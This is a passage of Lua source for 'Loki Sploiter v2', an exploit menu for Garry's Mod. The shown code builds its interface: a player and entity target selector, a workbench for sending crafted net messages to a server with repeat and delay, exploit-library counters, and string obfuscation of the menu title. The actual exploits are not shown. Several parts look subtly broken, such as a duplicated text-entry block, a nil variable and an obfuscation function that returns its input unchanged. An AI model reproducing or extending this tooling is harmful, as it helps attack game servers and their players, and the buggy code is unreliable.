1269 target4.Paint = function(panel, w, h)
1270 surface.SetDrawColor(100, 100, 100 ,255)
1271 surface.DrawOutlinedRect(0, 0, w, h)
1272 surface.SetDrawColor(0, 0, 50 ,155)
1273 surface.DrawRect(0, 0, w, h)
1274 if LOKI.GetWhitelist(tab.addr) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
1275 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1276 end
1277 target4.DoClick = function()
1278 LOKI.SetWhitelist(tab.addr, !LOKI.GetWhitelist(tab.addr))
1279 end
1280 end
1281 local target5 = LOKI.vgui.Create( "DTextEntry", LOKI.EntitySelector )
1282 target5:SetPos( x, 23 )
1283 target5:SetSize( 85, 20 )
1284 x = x + target5:GetSize()
1285 target5:SetText( "" )
1286 target5.OnChange = function( self )
1287 local nam = self:GetValue()
1288 nam = string.Replace(nam, " ", "")
1289 nam = nam:gsub( "[%-%^%$%(%)%%%.%[%]%*%+%-%?]", "%%%1" )
1290 local namtab = string.Explode( ",", nam )
1291 plytab = {}
1292 for _, pl in ipairs( tbl ) do
1293 for _, s in pairs( namtab ) do
1294 if v:IsPlayer() && (string.find( string.lower( pl:Nick() ), s, 1, true ) ||
1295 string.find( string.lower( pl:GetUserGroup() ), s, 1, true )) ||
1296 string.find( string.lower( pl:GetClass() ), s, 1, true ) then
1297 table.Empty(plytab)
1298 plytab[#plytab+1] = pl
1299 if(single) then
1300 break
1301 end
1302 end
1303 end
1304 end
1305 if(single) then
1306 LOKI.Store( tab, plytab[1] )
1307 else
1308 LOKI.Store( tab, plytab )
1309 end
1310 end
1311 end
1312 for k, v in ipairs( tbl ) do
1313 if(!IsValid(v)) then continue end
1314 local plypanel2 = LOKI.vgui.Create( "DPanel", (!tab.nostore && Plist) || LOKI.EntitySelector )
1315 plypanel2:SetPos( 0, 0 )
1316 plypanel2:SetSize( 200, 25 )
1317 local teamcol = Color(255,255,255)
1318 if(v:IsPlayer()) then
1319 teamcol = team.GetColor( v:Team() )
1320 end
1321 plypanel2.Paint = function( s, w, h )
1322 if !v:IsValid() then return end
1323 surface.SetDrawColor( Color(30, 30, 30, 245) )
1324 surface.DrawRect( 0, 0, w, h )
1325 surface.SetDrawColor( teamcol )
1326 surface.DrawRect( 0, h - 3, w, 3 )
1327 surface.SetDrawColor( Color(55, 55, 55, 245) )
1328 surface.DrawOutlinedRect( 0, 0, w, h )
1329 if table.HasValue( LOKI.GetStored(tab.addr) || {}, v ) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
1330 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1331 end
1332 local plyname = LOKI.vgui.Create( "DLabel", plypanel2 )
1333 plyname:SetPos( 10, 5 )
1334 plyname:SetFont( "Trebuchet18" )
1335 local tcol = Color( 255, 255, 255 )
1336 if v == LOKI.GetLP() then tcol = Color( 155, 155, 255 ) end
1337 plyname:SetColor( tcol )
1338 if(v:IsPlayer()) then
1339 plyname:SetText( "(" .. v:GetUserGroup() .. ") " .. v:Nick() )
1340 else
1341 plyname:SetText( tostring(v) )
1342 end
1343 plyname:SetSize(180, 15)
1344 local plysel = LOKI.vgui.Create("DButton", plypanel2 )
1345 plysel:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
1346 plysel:SetPos( 0, 0 )
1347 plysel:SetText("")
1348 plysel.ent = v
1349 plysel.Paint = function(panel, w, h)
1350 if plysel.ent == LOKI.SpectateEnt then surface.SetDrawColor( Color(0, 255, 255, 245) ) surface.DrawOutlinedRect( 2, 2, plypanel2:GetWide() - 4, plypanel2:GetTall() - 4) end
1351 local hoveredpan = vgui.GetHoveredPanel()
1352 if(IsValid(hoveredpan) && IsValid(hoveredpan.ent) && !LOKI.SpectateEnt) then
1353 LOKI.IsHovered = hoveredpan.ent
1354 else
1355 LOKI.IsHovered = false
1356 end
1357 return
1358 end
1359 plysel.DoRightClick = function()
1360 if(LOKI.SpectateEnt != plysel.ent) then
1361 LOKI.SpectateEnt = plysel.ent
1362 else
1363 LOKI.SpectateEnt = false
1364 end
1365 end
1366 plysel.DoClick = function()
1367 if(tab.nostore) then return plysel.DoRightClick() end
1368 if(istable(plytab)) then
1369 if table.HasValue( plytab, v ) then
1370 Index = table.RemoveByValue( plytab, v )
1371 else
1372 if(single) then
1373 table.Empty(plytab)
1374 end
1375 table.insert(plytab, v)
1376 end
1377 if(single) then
1378 LOKI.Store( tab, plytab[1] )
1379 else
1380 LOKI.Store( tab, plytab )
1381 end
1382 else
1383 LOKI.Store( tab, plytab )
1384 end
1385 end
1386 Plist:AddItem( plypanel2 )
1387 end
1388end
1389function LOKI.MakeTextInputButton( parent, x, y, btext, default, addr)
1390 if !parent:IsValid() then return end
1391 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1392 hostframe:SetPos( x, y )
1393 hostframe.Paint = function( self, w, h )
1394 surface.SetDrawColor( Color(60, 60, 60, 200) )
1395 surface.DrawRect( 0, 0, w, h )
1396 surface.SetDrawColor( Color( 60, 60, 60 ) )
1397 surface.SetMaterial( downgrad )
1398 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1399 surface.SetDrawColor( Color(100, 100, 100, 255) )
1400 surface.DrawOutlinedRect( 0, 0, w, h )
1401 end
1402 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1403 tttt:SetPos( 5, 5 )
1404 tttt:SetText( btext )
1405 tttt:SizeToContents()
1406 local tentry = LOKI.vgui.Create( "DTextEntry", hostframe )
1407 tentry:SetPos( 10 + tttt:GetWide(), 2 )
1408 --tentry:SetSize( 130, 20 )
1409 tentry:SetText( LOKI.GetStored( addr, default ) )
1410 tentry.OnChange = function( self )
1411 LOKI.Store( addr, self:GetValue() )
1412 end
1413 hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
1414 return hostframe:GetWide(), hostframe:GetTall()
1415end
1416function LOKI.MakeComboButton( parent, x, y, btext, default, addr, tbl, restriction, name, sort, find)
1417 if !parent:IsValid() then return end
1418 if(isfunction(tbl)) then
1419 tbl = tbl()
1420 end
1421 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1422 hostframe:SetPos( x, y )
1423 hostframe.Paint = function( self, w, h )
1424 surface.SetDrawColor( Color(60, 60, 60, 200) )
1425 surface.DrawRect( 0, 0, w, h )
1426 surface.SetDrawColor( Color( 60, 60, 60 ) )
1427 surface.SetMaterial( downgrad )
1428 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1429 surface.SetDrawColor( Color(100, 100, 100, 255) )
1430 surface.DrawOutlinedRect( 0, 0, w, h )
1431 end
1432 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1433 tttt:SetPos( 5, 5 )
1434 tttt:SetText( btext )
1435 tttt:SizeToContents()
1436 local tentry = LOKI.vgui.Create( "DComboBox", hostframe )
1437 tentry:SetPos( 10 + tttt:GetWide(), 2 )
1438 tentry:SetSize( 130, 20 )
1439 tentry:SetSortItems( false )
1440 tentry:SetValue(istable(LOKI.GetStored(addr, default)) && tbl[(LOKI.GetStored(addr, default)[1])] && tbl[(LOKI.GetStored(addr, default)[1])][name] || "")
1441 for k, v in SortedPairsByMemberValue(tbl, sort) do
1442 if(!restriction || v[restriction]) then
1443 tentry:AddChoice(v[name], k)
1444 end
1445 end
1446 tentry.OnSelect = function( panel, index, value, data )
1447 tentry:SetValue(value)
1448 LOKI.Store( addr, {data, tbl[data][find] || data} )
1449 end
1450 hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
1451 return hostframe:GetWide(), hostframe:GetTall()
1452end
1453function LOKI.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr)
1454 if !parent:IsValid() then return end
1455 if(min) then
1456 min = LOKI.SafeToNumber(min)
1457 else
1458 min = -math.huge
1459 end
1460 if(max) then
1461 max = LOKI.SafeToNumber(max)
1462 else
1463 max = math.huge
1464 end
1465 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1466 hostframe:SetPos( x, y )
1467 hostframe.Paint = function( self, w, h )
1468 surface.SetDrawColor( Color(60, 60, 60, 200) )
1469 surface.DrawRect( 0, 0, w, h )
1470 surface.SetDrawColor( Color( 60, 60, 60 ) )
1471 surface.SetMaterial( downgrad )
1472 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1473 surface.SetDrawColor( Color(100, 100, 100, 255) )
1474 surface.DrawOutlinedRect( 0, 0, w, h )
1475 end
1476 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1477 tttt:SetPos( 5, 5 )
1478 tttt:SetText( btext || "" )
1479 tttt:SizeToContents()
1480 local numentry = LOKI.vgui.Create( "DNumberWang", hostframe )
1481 numentry:SetPos( 10 + tttt:GetWide(), 2 )
1482 numentry:SetSize( 45, 20 )
1483 numentry:SetDecimals( 2 )
1484 numentry:SetMin( min )
1485 numentry:SetMax( max )
1486 numentry:SetValue( LOKI.GetStored( addr, default ) )
1487 numentry.OnValueChanged = function( self, val )
1488 val = math.Clamp(LOKI.SafeToNumber(val), min, max)
1489 LOKI.Store( addr, val )
1490 end
1491 hostframe:SetSize( 13 + tttt:GetWide() + numentry:GetWide(), 24 )
1492 return hostframe:GetWide(), hostframe:GetTall()
1493end
1494function LOKI.MakeVectorInputButton( parent, x, y, btext, default, addr)
1495 if !parent:IsValid() then return end
1496 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1497 hostframe:SetPos( x, y )
1498 hostframe.Paint = function( self, w, h )
1499 surface.SetDrawColor( Color(60, 60, 60, 200) )
1500 surface.DrawRect( 0, 0, w, h )
1501 surface.SetDrawColor( Color( 60, 60, 60 ) )
1502 surface.SetMaterial( downgrad )
1503 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1504 surface.SetDrawColor( Color(100, 100, 100, 255) )
1505 surface.DrawOutlinedRect( 0, 0, w, h )
1506 end
1507 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1508 tttt:SetPos( 5, 5 )
1509 tttt:SetText( btext || "" )
1510 tttt:SizeToContents()
1511 local numentry = nil
1512 for i=1,3 do
1513 local numentry = LOKI.vgui.Create( "DNumberWang", hostframe )
1514 numentry:SetPos( 3*i + tttt:GetWide(), 2 )
1515 numentry:SetSize( 15*i, 20 )
1516 numentry:SetDecimals( 2 )
1517 numentry:SetValue( LOKI.GetStored( addr, default )[i] )
1518 numentry.OnValueChanged = function( self, val )
1519 val = LOKI.SafeToNumber(val)
1520 local var = LOKI.GetStored( addr, default )
1521 self:SetValue(val)
1522 var[i] = val
1523 LOKI.Store( addr, var )
1524 end
1525 end
1526 hostframe:SetSize( 13 + tttt:GetWide() + numentry:GetWide() * 3, 24 )
1527 return hostframe:GetWide(), hostframe:GetTall()
1528end
1529////////////////////////////////////////////- NET WORKBENCH -//////////////////////////////////////////////////
1530function LOKI.MakeMessageSelector( hostpanel, typevar, isent )
1531 local hostframe = LOKI.vgui.Create( "DPanel", LOKI.NetWorkbench.NetPanel )
1532 hostframe:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1533 hostframe:SetSize( LOKI.NetWorkbench.NetPanel:GetWide() - 10, 22 )
1534 hostframe.Paint = function( self, w, h )
1535 surface.SetDrawColor( Color(60, 60, 60, 200) )
1536 surface.DrawRect( 0, 0, w, h )
1537 surface.SetDrawColor( Color(100, 100, 100, 255) )
1538 surface.DrawOutlinedRect( 0, 0, w, h )
1539 end
1540 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1541 tttt:SetPos( 20, 4 )
1542 tttt.Type = typevar
1543 tttt:SetText( typevar )
1544 tttt:SizeToContents()
1545 local tentry = isent && LOKI.vgui.Create( "DComboBox", hostframe ) || LOKI.vgui.Create( "DTextEntry", hostframe )
1546 tentry:SetSize( 140, 18 )
1547 tentry:SetPos( hostframe:GetWide() - 145, 2 )
1548 if(!isent) then
1549 tentry:SetText( "" )
1550 tentry.OnChange = function( self )
1551 print( self:GetValue() )
1552 end
1553 else
1554 for k, v in ipairs( player.GetAll() ) do
1555 if((v:IsScripted() || v:IsPlayer()) && !string.StartWith(v:GetClass(), "env_")) then
1556 tentry:AddChoice(tostring(v))
1557 end
1558 end
1559 DComboBox.OnSelect = function( panel, index, value )
1560 print( tostring(Entity(index)) .." was selected!" )
1561 end
1562 end
1563 local SelButton = LOKI.vgui.Create( "DButton", hostframe )
1564 SelButton:SetPos( 5, 3 )
1565 SelButton:SetText( "" )
1566 SelButton:SetTextColor( Color(255, 255, 255, 255) )
1567 SelButton:SetSize( 12, 16 )
1568 SelButton.Paint = function( self, w, h )
1569 surface.SetDrawColor( Color(30, 30, 30, 200) )
1570 surface.DrawRect( 0, 0, w, h )
1571 surface.SetDrawColor( Color(90, 90, 90, 200) )
1572 surface.DrawRect( 2, 2, 3, h - 4 )
1573 surface.DrawRect( 6, 2, 3, h - 4 )
1574 end
1575 LOKI.NetWorkbench.NetPanel.ysize = LOKI.NetWorkbench.NetPanel.ysize + 25
1576 hostpanel:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1577 SelButton.DoClick = function( self )
1578 hostframe:Remove()
1579 LOKI.NetWorkbench.NetPanel.ysize = LOKI.NetWorkbench.NetPanel.ysize - 25
1580 hostpanel:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1581 end
1582end
1583function LOKI.NetmessagePanel()
1584 if LOKI.NetWorkbench and LOKI.NetWorkbench:IsVisible() then LOKI.NetWorkbench:Remove() end
1585 LOKI.NetWorkbench = LOKI.vgui.Create("DFrame", LOKI.Menu)
1586 LOKI.NetWorkbench:SetSize(250,400)
1587 LOKI.NetWorkbench:SetTitle("Send a netmessage")
1588-- LOKI.NetWorkbench:SetPos( gui.MouseX(), gui.MouseY() )
1589 LOKI.NetWorkbench:MakePopup()
1590 LOKI.NetWorkbench:Center()
1591 LOKI.NetWorkbench.Paint = function( s, w, h )
1592 if !IsValid(LOKI.Menu) or !LOKI.Menu:IsVisible() then s:Remove() return end
1593 surface.SetDrawColor( Color(30, 30, 30, 255) )
1594 surface.DrawRect( 0, 0, w, h )
1595 surface.SetDrawColor( Color(55, 55, 55, 245) )
1596 surface.DrawOutlinedRect( 0, 0, w, h )
1597 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1598 LOKI.DrawText( "Channel: ", "default", 5, 28, Color(255,255,255, 30) )
1599 LOKI.DrawText( "Repeat: ", "default", 8, 54, Color(255,255,255, 30) )
1600 LOKI.DrawText( "Times", "default", 100, 54, Color(255,255,255, 30) )
1601 LOKI.DrawText( "Delay: ", "default", 15, 79, Color(255,255,255, 30) )
1602 LOKI.DrawText( "( 100 = 1 msg/second )", "default", 100, 79, Color(255,255,255, 30) )
1603 LOKI.DrawText( "Data: ", "default", 5, 104, Color(255,255,255, 30) )
1604 surface.SetDrawColor( Color(0, 0, 0, 205) )
1605 surface.DrawRect( 5, 105, w - 10, 250 )
1606 end
1607 LOKI.NetWorkbench.NetPanel = LOKI.vgui.Create( "DScrollPanel", LOKI.NetWorkbench )
1608 LOKI.NetWorkbench.NetPanel:SetSize( LOKI.NetWorkbench:GetWide() - 10, 250 )
1609 LOKI.NetWorkbench.NetPanel:SetPos( 5, 105 )
1610 LOKI.NetWorkbench.NetPanel.ysize = 0
1611 local AddButton = LOKI.vgui.Create( "DButton", LOKI.NetWorkbench.NetPanel )
1612 AddButton:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1613 AddButton:SetText( "Add New Data" )
1614 AddButton:SetTextColor( Color(255, 255, 255, 255) )
1615 AddButton:SetSize( LOKI.NetWorkbench.NetPanel:GetWide() - 10, 20 )
1616 AddButton.Paint = function( self, w, h )
1617 surface.SetDrawColor( Color(60, 60, 60, 200) )
1618 surface.DrawRect( 0, 0, w, h )
1619 surface.SetDrawColor( Color(100, 100, 100, 255) )
1620 surface.DrawRect( 0, 0, w, 1 )
1621 surface.DrawRect( 0, 0, 1, h )
1622 end
1623 local DataToSend = {}
1624 AddButton.DoClick = function( self )
1625 local Menu = DermaMenu()
1626 local Menustr = Menu:AddOption( "String (Text)", function() LOKI.MakeMessageSelector(self, "String") end ) Menustr:SetIcon( "icon16/script_edit.png" )
1627 local Menuuint = Menu:AddOption( "UInt (Positive Whole Number)", function() LOKI.MakeMessageSelector(self, "UInt") end ) Menuuint:SetIcon( "icon16/script_add.png" )
1628 local Menuint = Menu:AddOption( "Int (Whole Number)", function() LOKI.MakeMessageSelector(self, "Int") end ) Menuint:SetIcon( "icon16/script_delete.png" )
1629 local Menufloat = Menu:AddOption( "Float (Decimal Number)", function() LOKI.MakeMessageSelector(self, "Float") end ) Menufloat:SetIcon( "icon16/script_link.png" )
1630 local Menubool = Menu:AddOption( "Boolean (True or False)", function() LOKI.MakeMessageSelector(self, "Boolean") end ) Menubool:SetIcon( "icon16/script.png" )
1631 local Menuvec = Menu:AddOption( "Vector (3D coordinates)", function() LOKI.MakeMessageSelector(self, "Vector") end ) Menuvec:SetIcon( "icon16/script_code.png" )
1632 local Menuang = Menu:AddOption( "Angle (Pitch, Yaw and Roll)", function() LOKI.MakeMessageSelector(self, "Angle") end ) Menuang:SetIcon( "icon16/script_gear.png" )
1633 local Menucol = Menu:AddOption( "Colour (Red, Green and Blue)", function() LOKI.MakeMessageSelector(self, "Colour") end ) Menucol:SetIcon( "icon16/script_palette.png" )
1634 local Menuent = Menu:AddOption( "Player (Entity Object)", function() LOKI.MakeMessageSelector(self, "Player", true) end ) Menuent:SetIcon( "icon16/world.png" )
1635 local Menudouble = Menu:AddOption( "Double (High Precision Decimal Number)", function() LOKI.MakeMessageSelector(self, "Double") end ) Menudouble:SetIcon( "icon16/script_code_red.png" )
1636 local Menudata = Menu:AddOption( "Data (Binary Data + Length)", function() LOKI.MakeMessageSelector(self, "Data") end ) Menudata:SetIcon( "icon16/server.png" )
1637 Menu:Open()
1638 end
1639 local netname = LOKI.vgui.Create( "DTextEntry", LOKI.NetWorkbench )
1640 netname:SetPos( 50, 25 )
1641 netname:SetSize( 190, 20 )
1642 netname:SetText( LOKI.GetStored( "LCurrentNetmessage", "" ) )
1643 netname.OnChange = function( self )
1644 local nam = self:GetValue()
1645 LOKI.Store( "LCurrentNetmessage", nam )
1646 end
1647 local netrepeat = LOKI.vgui.Create( "DNumberWang", LOKI.NetWorkbench )
1648 netrepeat:SetPos( 50, 50 )
1649 netrepeat:SetSize( 45, 20 )
1650 netrepeat:SetDecimals( 2 )
1651 netrepeat:SetValue( LOKI.GetStored( "LCurrentNetRepeat", 1 ) )
1652 netrepeat.OnValueChanged = function( self, val )
1653 LOKI.Store( "LCurrentNetRepeat", self:GetValue() )
1654 end
1655 local netdelay = LOKI.vgui.Create( "DNumberWang", LOKI.NetWorkbench )
1656 netdelay:SetPos( 50, 75 )
1657 netdelay:SetSize( 45, 20 )
1658 netdelay:SetDecimals( 3 )
1659 netdelay:SetValue( LOKI.GetStored( "LCurrentnetDelay", 100 ) )
1660 netdelay.OnValueChanged = function( self, val )
1661 LOKI.Store( "LCurrentnetDelay", self:GetValue() )
1662 end
1663 local netname = LOKI.vgui.Create( "DTextEntry", LOKI.NetWorkbench )
1664 netname:SetPos( 50, 25 )
1665 netname:SetSize( 190, 20 )
1666 netname:SetText( LOKI.GetStored( "LCurrentNetmessage", "" ) )
1667 netname.OnChange = function( self )
1668 local nam = self:GetValue()
1669 LOKI.Store( "LCurrentNetmessage", nam )
1670 end
1671 LOKI.NetWorkbench.SendToServerButton = LOKI.vgui.Create( "DButton", LOKI.NetWorkbench )
1672 LOKI.NetWorkbench.SendToServerButton:SetPos( 5, LOKI.NetWorkbench:GetTall() - 35 )
1673 LOKI.NetWorkbench.SendToServerButton:SetText( "Send to Server" )
1674 LOKI.NetWorkbench.SendToServerButton:SetTextColor( Color(255, 255, 255, 255) )
1675 LOKI.NetWorkbench.SendToServerButton:SetSize( LOKI.NetWorkbench:GetWide() - 10, 30 )
1676 LOKI.NetWorkbench.SendToServerButton.Paint = function( self, w, h )
1677 surface.SetDrawColor( Color(60, 60, 60, 200) )
1678 surface.DrawRect( 0, 0, w, h )
1679 surface.SetDrawColor( Color( 60, 60, 60 ) )
1680 surface.SetMaterial( downgrad )
1681 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1682 surface.SetDrawColor( Color(100, 100, 100, 255) )
1683 surface.DrawOutlinedRect( 0, 0, w, h )
1684 end
1685 LOKI.NetWorkbench.SendToServerButton.DoClick = function()
1686 end
1687end
1688function LOKI.SecondsToClock(seconds)
1689 local seconds = LOKI.SafeToNumber(seconds)
1690
1691 if seconds <= 0 then
1692 return "00:00:00";
1693 else
1694 local hours = string.format("%02.f", math.floor(seconds/3600));
1695 local mins = string.format("%02.f", math.floor(seconds/60 - (hours*60)));
1696 local secs = string.format("%02.f", math.floor(seconds - hours*3600 - mins *60));
1697 return hours..":"..mins..":"..secs
1698 end
1699end
1700function LOKI.SafeToNumber(var)
1701 return tonumber(var) || -math.huge
1702end
1703function LOKI.GetWithinBounds( ent, entpos, dist )
1704 local tbl = {}
1705 if(istable(ent)) then
1706 for k, v in ipairs(ent) do
1707 if(IsValid(v)) then
1708 if(v:GetPos():DistToSqr( entpos ) < ( dist*dist )) then
1709 tbl[#tbl + 1] = v
1710 end
1711 end
1712 end
1713 return tbl
1714 elseif(IsValid(ent) && isfunction(ent.GetPos)) then
1715 return ent:GetPos():DistToSqr( entpos:GetPos() ) < ( dist*dist )
1716 else
1717 return false
1718 end
1719end
1720function LOKI.SecureString(str)
1721 local tbl = string.ToTable(str)
1722 local final_tbl = table.Copy(tbl)
1723 for k, v in pairs(tbl) do
1724 table.insert(final_tbl, math.random(0, #tbl), "")
1725 end
1726 return table.concat(tbl)
1727end
1728////////////////////////////////////////////- MENU -//////////////////////////////////////////////////
1729local events = {["player_disconnect"] = true, ["player_connect"] = true, ["player_hurt"] = true, ["player_say"] = true, ["player_activate"] = true, ["player_spawn"] = true, ["player_changename"] = true, ["player_info"] = true, ["server_cvar"] = true, ["break_prop"] = true, ["break_breakable"] = true, ["flare_ignite_npc"] = true, ["entity_killed"] = true,}
1730local eventsR = {}
1731function LOKI.OpenMenu(bInit)
1732 if LOKI.Menu && LOKI.Menu:IsVisible() then return end
1733 LOKI.CreatePanel = function() end
1734 local ActiveCount = function() end
1735 local Plist = nil
1736 if(bInit != true) then
1737 LOKI.Menu = LOKI.vgui.Create("DFrame")
1738 LOKI.Menu:SetPaintedManually(true)
1739 LOKI.Menu:SetSize(700,550)
1740 LOKI.Menu:SetTitle(LOKI.SecureString("Loki Sploiter v2"))
1741 LOKI.Menu:Center()
1742 LOKI.Menu:MakePopup()
1743
1744 LOKI.Menu.ExploitCount = {LOKI.GetVarExploits("severity", LOKI.TYPEVARS.MORETHAN, 0)}
1745 LOKI.Menu.ExploitCount[2] = LOKI.GetVarTable(LOKI.Menu.ExploitCount[1], "scanned", LOKI.TYPEVARS.EQUALTO, true)
1746 LOKI.Menu.ExploitCount[3] = 0
1747 LOKI.Menu.ExploitCount[4] = 0
1748
1749 ActiveCount = function()
1750
1751 LOKI.Menu.ExploitCount = {LOKI.GetVarExploits("severity", LOKI.TYPEVARS.MORETHAN, 0)}
1752 LOKI.Menu.ExploitCount[2] = LOKI.GetVarTable(LOKI.Menu.ExploitCount[1], "scanned", LOKI.TYPEVARS.EQUALTO, true)
1753 LOKI.Menu.ExploitCount[3] = 0
1754 LOKI.Menu.ExploitCount[4] = 0
1755
1756 for k, v in pairs(LOKI.Menu.ExploitCount[1]) do
1757 if(!v.count) then
1758 v.count = {
1759 ["Active"] = 1,
1760 ["Total"] = 1,
1761 }
1762 end
1763
1764 if(istable(v.functions) && !v.count.Counted) then
1765 for k2, v2 in pairs(v.functions) do
1766 if(v2.typ == "bools") then
1767 if(!v.count.Counted) then
1768 v.count.Total = v.count.Total - 1
1769 v.count.Counted = true
1770 end
1771 v.count.Total = v.count.Total + table.Count(v2.tbl)
1772 end
1773 end
1774 end
1775
1776 LOKI.Menu.ExploitCount[3] = LOKI.Menu.ExploitCount[3] + v.count.Total
1777 end
1778
1779 for k, v in pairs(LOKI.Menu.ExploitCount[2]) do
1780 LOKI.BlockNetOutgoing = true
1781 if(v.prevalidated) then LOKI.GENERAL_OVERRIDE = true end
1782 if(v.scan_always && !v.scan(v)) then LOKI.BlockNetOutgoing = false LOKI.GENERAL_OVERRIDE = false continue end
1783 LOKI.GENERAL_OVERRIDE = false
1784 LOKI.BlockNetOutgoing = false
1785 if(!v.count) then
1786 v.count = {
1787 ["Active"] = 1,
1788 ["Total"] = 1,
1789 }
1790 end
1791
1792 LOKI.Menu.ExploitCount[4] = LOKI.Menu.ExploitCount[4] + v.count.Active
1793 end
1794
1795 end
1796
1797 LOKI.Menu.Paint = function( s, w, h )
1798 LOKI.Menu:SetVisible(true)
1799 surface.SetDrawColor( Color(30, 30, 30, 245) )
1800 surface.DrawRect( 0, 0, w, h )
1801 surface.SetDrawColor( Color(55, 55, 55, 245) )
1802 surface.DrawOutlinedRect( 0, 0, w, h )
1803 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1804 surface.SetDrawColor( Color(0, 0, 0, 200) )
1805 surface.DrawRect( 80, 25, w - 90, h - 35 )
1806 surface.SetDrawColor( Color(100, 100, 100, 200) )
1807 surface.DrawLine( 10, 25, 40, 30 )
1808 surface.DrawLine( 40, 30, 70, 25 )
1809 surface.DrawLine( 10, 25, 25, 40 )
1810 surface.DrawLine( 55, 40, 70, 25 )
1811 surface.DrawLine( 25, 40, 25, 60 )
1812 surface.DrawLine( 55, 40, 55, 60 )
1813 surface.DrawLine( 25, 60, 40, 70 )
1814 surface.DrawLine( 55, 60, 40, 70 )
1815 LOKI.DrawText( "Sploit Library", "default", 8, 85, Color(255,255,255, 30) )
1816 LOKI.DrawText( "Exploits: "..LOKI.Menu.ExploitCount[3], "default", 8, 95, Color(255,255,255, 30) )
1817 LOKI.DrawText( "Available: "..LOKI.Menu.ExploitCount[4], "default", 8, 105, Color(255,255,255, 30) )
1818 LOKI.DrawText( "Bait?: "..LOKI.BAIT_COUNT, "default", 8, 115, Color(255,255,255, 30) )
1819 LOKI.DrawText( "Ares: "..(LOKI.ARES && "✓" || "✗"), "default", 8, 125, Color(255,255,255, 30) )
1820 end
1821 Plist = LOKI.vgui.Create( "DPanelList", LOKI.Menu )
1822 Plist:SetSize( LOKI.Menu:GetWide() - 90, LOKI.Menu:GetTall() - 35 )
1823 Plist:SetPadding( 5 )
1824 Plist:SetSpacing( 5 )
1825 Plist:EnableHorizontal( false )
1826 Plist:EnableVerticalScrollbar( false )
1827 Plist:SetPos( 80, 25 )
1828 Plist:SetName( "" )
1829 LOKI.MakeFunctionButton( LOKI.Menu, 10, 140, "Load Config", LOKI.LoadConfig, "Load a saved loki config" )
1830 LOKI.MakeFunctionButton( LOKI.Menu, 10, 170, "Save Config", LOKI.SaveConfig, "Save your loki config" )
1831 --LOKI.MakeFunctionButton( LOKI.Menu, 12, LOKI.Menu:GetTall() - 35, " net.Send ", LOKI.NetmessagePanel, "" )
1832 LOKI.CreatePanel = function( Name, t, parent )
1833 if !LOKI.Menu || !LOKI.Menu:IsVisible() then return end
1834 for _, tab in ipairs( t.functions ) do
1835 if tab.typ == "bools" && istable(tab.tbl) then
1836 if(!t.count) then
1837 t.count = {
1838 ["Active"] = 1,
1839 ["Total"] = 1,
1840 }
1841 end
1842 if(!t.count.Counted) then
1843 if(!t.count.Counted) then
1844 t.count.Total = t.count.Total - 1
1845 t.count.Counted = true
1846 end
1847 t.count.Total = t.count.Total .. table.Count(tab.tbl)
1848 end
1849 local funcs = {}
1850 for k, v in pairs(tab.tbl) do
1851 if(LOKI.ValidNetString(v)) then
1852 t.count.Active = t.count.Active + 1
1853 local tab = table.Copy(tab)
1854 tab.typ = "bool"
1855 tab.ToggleText = {k}
1856 tab.border = true
1857 tab.bool = v
1858 tab.channel = v
1859 tab.tbl = nil
1860 table.insert(t.functions, tab)
1861 t.bools[v] = false
1862 end
1863 end
1864 table.RemoveByValue(t.functions, tab)
1865 t.typ = "bools"
1866 end
1867 end
1868 if(#t.functions == 0) then return end
1869 local cmdp = LOKI.vgui.Create( "DPanel", parent )
1870 cmdp:SetSize( Plist:GetWide(), 70 )
1871 cmdp.Cmd = Name
1872 cmdp.Desc = isfunction(t.desc) && t.desc() || t.desc
1873 local status = isfunction(t.status) && t.status() || t.status
1874 if(status != nil && StatusText[status] && StatusColors[status]) then
1875 cmdp.Status = StatusText[status]
1876 cmdp.StatusCol = StatusColors[status]
1877 else
1878 cmdp.Status = "Unknown"
1879 cmdp.StatusCol = StatusColors[2]
1880 end
1881 cmdp.Paint = function( s, w, h )
1882 if(!LOKI.Menu || !LOKI.Menu:IsVisible()) then return cmdp:Remove() end
1883 local severity = isfunction(t.severity) && t.severity() || t.severity
1884 surface.SetDrawColor( Color(50, 50, 50, 245) )
1885 surface.DrawRect( 0, 0, w, h )
1886 surface.SetDrawColor( LOKI.GetColor(severity) || Color(255, 255, 255) )
1887 surface.DrawOutlinedRect( 0, 0, w, h )
1888 surface.DrawLine( 0, 24, w, 24 )
1889 local r_tbl = LOKI.RecursiveGetVar(t, {"vars", "Think"}, "table", true)
1890 if(r_tbl.cooldown && r_tbl.cooldown - LOKI.REAL_CURTIME >= 0) then
1891 local cooldown = r_tbl.cooldown - LOKI.REAL_CURTIME
1892 LOKI.DrawText( string.format(cmdp.Cmd.."%s", " [" .. LOKI.SecondsToClock(cooldown) .. "]"), "DermaDefault", 10, 5, Color(255,255,255) )
1893 else
1894 r_tbl.cooldown = 0
1895 LOKI.DrawText( cmdp.Cmd, "DermaDefault", 10, 5, Color(255,255,255) )
1896 end
1897 if(severity > 0) then
